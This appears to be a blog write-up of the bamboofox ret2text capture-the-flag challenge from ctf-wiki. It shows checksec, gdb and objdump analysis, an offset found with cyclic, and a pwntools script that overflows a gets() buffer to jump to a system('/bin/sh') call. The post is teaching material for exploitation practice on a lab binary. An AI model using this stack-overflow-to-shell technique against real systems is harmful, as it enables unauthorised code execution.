ROP----The Solution For Ret2text

APP:

  https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2text/bamboofox-ret2text/ret2text

 

TOOLS:

  pwntools   gef    gdb  objdump  readelf

  

Solution:

  Ret2text is the existing code (. text) of the control program execution program itself. In fact, this attack method is a general description. When we control the existing code of the executing program, we can also control the program to execute several segments of the existing code of the non-adjacent program (i.e. gadgets), which is what we want to say about ROP.

At this point, we need to know the location of the corresponding returned code. Of course, programs may also turn on some protection, and we need to find ways to bypass it.

First, take a look at the program's protection mechanism

┌─[root@parrot]─[~/ROP]
└──╼ #checksec ret2text
[*] '/root/ROP/ret2text'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled                               //Non-executeable protection has been enabled.
    PIE:      No PIE (0x8048000)

It can been seen that the program is a 32-bit program, which the non-executable protection has been enabled for stack.

┌─[root@parrot]─[~/ROP]
└──╼ #gdb ret2text

gef➤  disassemble main
Dump of assembler code for function main:
   0x08048648 <+0>:     push   ebp
   0x08048649 <+1>:     mov    ebp,esp
   0x0804864b <+3>:     and    esp,0xfffffff0
   0x0804864e <+6>:     add    esp,0xffffff80
   0x08048651 <+9>:     mov    eax,ds:0x804a060
   0x08048656 <+14>:    mov    DWORD PTR [esp+0xc],0x0
   0x0804865e <+22>:    mov    DWORD PTR [esp+0x8],0x2
   0x08048666 <+30>:    mov    DWORD PTR [esp+0x4],0x0
   0x0804866e <+38>:    mov    DWORD PTR [esp],eax
   0x08048671 <+41>:    call   0x80484d0 <setvbuf@plt>
   0x08048676 <+46>:    mov    eax,ds:0x804a040
   0x0804867b <+51>:    mov    DWORD PTR [esp+0xc],0x0
   0x08048683 <+59>:    mov    DWORD PTR [esp+0x8],0x1
   0x0804868b <+67>:    mov    DWORD PTR [esp+0x4],0x0
   0x08048693 <+75>:    mov    DWORD PTR [esp],eax
   0x08048696 <+78>:    call   0x80484d0 <setvbuf@plt>
   0x0804869b <+83>:    mov    DWORD PTR [esp],0x804876c
   0x080486a2 <+90>:    call   0x8048480 <puts@plt>
   0x080486a7 <+95>:    lea    eax,[esp+0x1c]
   0x080486ab <+99>:    mov    DWORD PTR [esp],eax
   0x080486ae <+102>:   call   0x8048460 <gets@plt>                 //gets() function exist,so there seems to be a stack overflow.
   0x080486b3 <+107>:   mov    DWORD PTR [esp],0x80487a4
   0x080486ba <+114>:   call   0x8048450 <printf@plt>
   0x080486bf <+119>:   mov    eax,0x0
   0x080486c4 <+124>:   leave  
   0x080486c5 <+125>:   ret    
End of assembler dump.
The routine thinking is that where system function is called and whether '/bin/sh' can been executed.
We use objdump command to check the plt address of system and found the calling address for system function.
The address is 0x8048641.
─[✗]─[root@parrot]─[~/ROP] └──╼ #objdump -D ret2text|grep 'system' 08048490 <system@plt>: 8048641: e8 4a fe ff ff call 8048490 <system@plt>
┌─[root@parrot]─[~/ROP]
└──╼ #readelf -S ret2text |grep AX           //Check executiton privilege sections. 
Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [11] .init             PROGBITS        0804841c 00041c 000023 00  AX  0   0  4
  [12] .plt              PROGBITS        08048440 000440 0000c0 04  AX  0   0 16
  [13] .text             PROGBITS        08048500 000500 000242 00  AX  0   0 16
  [14] .fini             PROGBITS        08048744 000744 000014 00  AX  0   0  4

Check the system function calling address whether exist in execution secion .text.
┌─[root@parrot]─[~/ROP]
└──╼ #python -c 'print 8048500 < 8048641  <8048500 + 242'  
True                         //The system calling address in .text section and has been enable executed privilege.

Disassemble ret2text and search system keyword.
┌─[root@parrot]─[~/ROP]
└──╼ #objdump  -D -j .text ret2text|less                 //Disassemble section .text and find 'system'.
ret2text:     file format elf32-i386
08048500 <_start>:
 8048500:       31 ed                   xor    %ebp,%ebp
 8048502:       5e                      pop    %esi
 8048503:       89 e1                   mov    %esp,%ecx
 8048505:       83 e4 f0                and    $0xfffffff0,%esp
 8048508:       50                      push   %eax
 8048509:       54                      push   %esp
 804850a:       52                      push   %edx
 804850b:       68 40 87 04 08          push   $0x8048740
 8048510:       68 d0 86 04 08          push   $0x80486d0
 8048515:       51                      push   %ecx
 8048516:       56                      push   %esi
 8048517:       68 48 86 04 08          push   $0x8048648
 804851c:       e8 9f ff ff ff          call   80484c0 <__libc_start_main@plt>
 8048521:       f4                      hlt    
 8048522:       66 90                   xchg   %ax,%ax
 8048524:       66 90                   xchg   %ax,%ax
 8048526:       66 90                   xchg   %ax,%ax
 8048528:       66 90                   xchg   %ax,%ax
 804852a:       66 90                   xchg   %ax,%ax
 804852c:       66 90                   xchg   %ax,%ax
 804852e:       66 90                   xchg   %ax,%ax

08048530 <__x86.get_pc_thunk.bx>:
 8048530:       8b 1c 24                mov    (%esp),%ebx
 8048533:       c3                      ret    
 8048534:       66 90                   xchg   %ax,%ax
 8048536:       66 90                   xchg   %ax,%ax
 8048538:       66 90                   xchg   %ax,%ax
/system
Found the usefull code in secure() function as below:

080485fd <secure>: 80485fd: 55 push ebp 80485fe: 89 e5 mov ebp,esp 8048600: 83 ec 28 sub esp,0x28 8048603: c7 04 24 00 00 00 00 mov DWORD PTR [esp],0x0 804860a: e8 61 fe ff ff call 8048470 <time@plt> 804860f: 89 04 24 mov DWORD PTR [esp],eax 8048612: e8 99 fe ff ff call 80484b0 <srand@plt> 8048617: e8 c4 fe ff ff call 80484e0 <rand@plt> 804861c: 89 45 f4 mov DWORD PTR [ebp-0xc],eax 804861f: 8d 45 f0 lea eax,[ebp-0x10] 8048622: 89 44 24 04 mov DWORD PTR [esp+0x4],eax 8048626: c7 04 24 60 87 04 08 mov DWORD PTR [esp],0x8048760 804862d: e8 be fe ff ff call 80484f0 <__isoc99_scanf@plt> 8048632: 8b 45 f0 mov eax,DWORD PTR [ebp-0x10] 8048635: 3b 45 f4 cmp eax,DWORD PTR [ebp-0xc] 8048638: 75 0c jne 8048646 <secure+0x49> 804863a: c7 04 24 63 87 04 08 mov DWORD PTR [esp],0x8048763 8048641: e8 4a fe ff ff call 8048490 <system@plt> 8048646: c9 leave 8048647: c3 ret

 Because gets function exist,so we could use stack overflow to check the space length for input stack.


┌─[root@parrot]─[~/ROP]
└──╼ #cyclic 128                        //Generate a string of 128 length for input payload.
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab

┌─[root@parrot]─[~/ROP]
└──╼ #./ret2text 
There is something amazing here, do you know anything?
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab

┌─[✗]─[root@parrot]─[~/ROP]
└──╼ #dmesg |tail -2                   //check the system log,we found the segfault address for ret2text is 0x62616164.
[ 8016.752174] ret2text[13814]: segfault at 62616164 ip 0000000062616164 sp 00000000ffb6b8c0 error 14 in libc-2.28.so[f7da6000+19000]
[ 8016.752185] Code: Bad RIP value.

┌─[✗]─[root@parrot]─[~/ROP]
└──╼ #cyclic -l 0x62616164            //check the segfault address's offset.
112

By the way,let me introduce how to open core dump trace.
┌─[root@parrot]─[~/ROP]
└──╼ #vi /etc/security/limits.conf
#<domain> <type> <item> <value> 
* soft core ulimited //Add this line to limits.conf

┌─[✗]─[root@parrot]─[~/ROP]
└──╼ #echo "1" >/proc/sys/kernel/core_uses_pid    
┌─[✗]─[root@parrot]─[~/ROP]
└──╼ #echo "core-%e-%p-%t" > /proc/sys/kernel/core_pattern
The format of corefile is:core-command-pid-timestamp 

Follow In gdb session.
gef➤  disassemble  secure
Dump of assembler code for function secure:
   0x080485fd <+0>:     push   ebp
   0x080485fe <+1>:     mov    ebp,esp
   0x08048600 <+3>:     sub    esp,0x28
   0x08048603 <+6>:     mov    DWORD PTR [esp],0x0
   0x0804860a <+13>:    call   0x8048470 <time@plt>
   0x0804860f <+18>:    mov    DWORD PTR [esp],eax
   0x08048612 <+21>:    call   0x80484b0 <srand@plt>
   0x08048617 <+26>:    call   0x80484e0 <rand@plt>
   0x0804861c <+31>:    mov    DWORD PTR [ebp-0xc],eax
   0x0804861f <+34>:    lea    eax,[ebp-0x10]
   0x08048622 <+37>:    mov    DWORD PTR [esp+0x4],eax
   0x08048626 <+41>:    mov    DWORD PTR [esp],0x8048760
   0x0804862d <+48>:    call   0x80484f0 <__isoc99_scanf@plt>
   0x08048632 <+53>:    mov    eax,DWORD PTR [ebp-0x10]
   0x08048635 <+56>:    cmp    eax,DWORD PTR [ebp-0xc]
   0x08048638 <+59>:    jne    0x8048646 <secure+73>
   0x0804863a <+61>:    mov    DWORD PTR [esp],0x8048763         //There have a parameter for system function calling
   0x08048641 <+68>:    call   0x8048490 <system@plt>
   0x08048646 <+73>:    leave  
   0x08048647 <+74>:    ret    
End of assembler dump.
gef➤  x/s 0x8048763
0x8048763:      "/bin/sh"                                        //The parameter is '/bin/sh'.


So in address 0x0804863a,we could execute system('/bin/sh')
The payload script like below

#!/usr/bin/env python2

from pwn import *
sh = process('ret2text')

# bin_sh = 0x8048763                        //The value of string '/bin/sh' is 0x8048763.
system_binsh_addr = 0x0804863a                //The address of '/bin/sh'
# payload = ' /bin/sh'.ljust(112,'a') + p32(
system_binsh_addr)
# payload = str(bin_sh).ljust(112,'a')+ p32(system_binsh_addr)
payload = 'a'*112 +p32(system_binsh_addr)

sh.sendlineafter('?',payload)
sh.interactive()




 
posted @ 2019-06-09 10:14  heycomputer  阅读(328)  评论(0编辑  收藏  举报